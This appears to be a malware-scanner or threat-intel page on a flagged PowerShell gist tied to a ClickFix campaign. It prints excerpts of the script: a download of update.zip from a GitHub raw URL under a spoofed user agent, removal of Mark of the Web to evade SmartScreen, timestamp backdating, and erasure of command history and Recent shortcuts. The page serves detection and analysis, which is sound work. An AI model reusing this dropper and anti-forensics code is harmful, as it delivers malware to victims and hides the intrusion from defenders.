gistfile1.ps1
Timestamp changes with command history erasureRemoves Zone.Identifier ADS
SHA-25656582934901cce0b618d6a50e54c9db29bf2d444636bcd40b5975a765ecde538
Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe) +1 more.
Evidence
10:113… �══════════════════════════════════════
11
12$cdnUrl = "https://github.com/yegeqebige46-creator/qq/raw/main/update.zip"
13$zipName = "~tmp" + (Get-Random -Minimum 1000 -Maximum 9999) + ".dat"
14
15# ════════════════════════════════════════════════════════════� …
52:158… �═══════════════════════
53
54$zipPath = "$env:TEMP\$zipName"
55
56try {
57 $webClient = New-Object System.Net.WebClient
58 $webClient.Headers.Add("User-Agent", "Microsoft-Symbol-Server/6.12.0002.633")
59 $webClient.Headers.Add("Accept", "*/*")
60 $webClient.DownloadFile($cdnUrl, $zipPath)
61} catch {
62 exit 1
⋯7 lines
71:204… ════════
72
73# Rename .dat to .zip for extraction (Expand-Archive requires .zip extension)
74$zipPathReal = $zipPath -replace '\.dat$', '.zip'
75if ($zipPath -ne $zipPathReal) {
76 Move-Item -Path $zipPath -Destination $zipPathReal -Force -ErrorAction SilentlyContinue
77 $zipPath = $zipPathReal
78}
79
80try {
81 Expand-Archive -Path $zipPath -DestinationPath $installPath -Force
82
83 # Remove Zone.Identifier (Mark of the Web) to avoid SmartScreen warnings
84 $extractedFiles = Get-ChildItem -Path $installPath -File -Recurse -ErrorAction SilentlyContinue
85 foreach ($file in $extractedFiles) {
86 Unblock-File -Path $file.FullName -ErrorAction SilentlyContinue
87 Remove-Item -Path "$($file.FullName):Zone.Identifier" -Force -ErrorAction SilentlyContinue
88 }
89} catch {
90 Remove-Item -Path $zipPath -Force -ErrorAction SilentlyContinue
91 exit 1
92}
93
94# ═══════════════════════════ …
112:91… yContinue
113 foreach ($file in $extractedFiles) {
114 $file.CreationTime = $refCreation
115 $file.LastWriteTime = $refWrite
116 $file.LastAccessTime = $refAccess
117 }
118} else {
119 $randomDaysAgo = Get-Random -Minimum 180 -Maximum 365
120 $oldDate = (Get-Date).AddDays(-$randomDay …
189:166… ��════════════════════
190
191Remove-Item -Path $zipPath -Force -ErrorAction SilentlyContinue
192Clear-History -ErrorAction SilentlyContinue
193
194$recentPath = "$env:APPDATA\Microsoft\Windows\Recent"
195Get-ChildItem -Path $recentPath -Filter "*.ps1.lnk" -ErrorAction SilentlyContinue |
196 Where-Object { $_.Target -like "*install*" } |
197 Remove-Item -Force -ErrorAction S …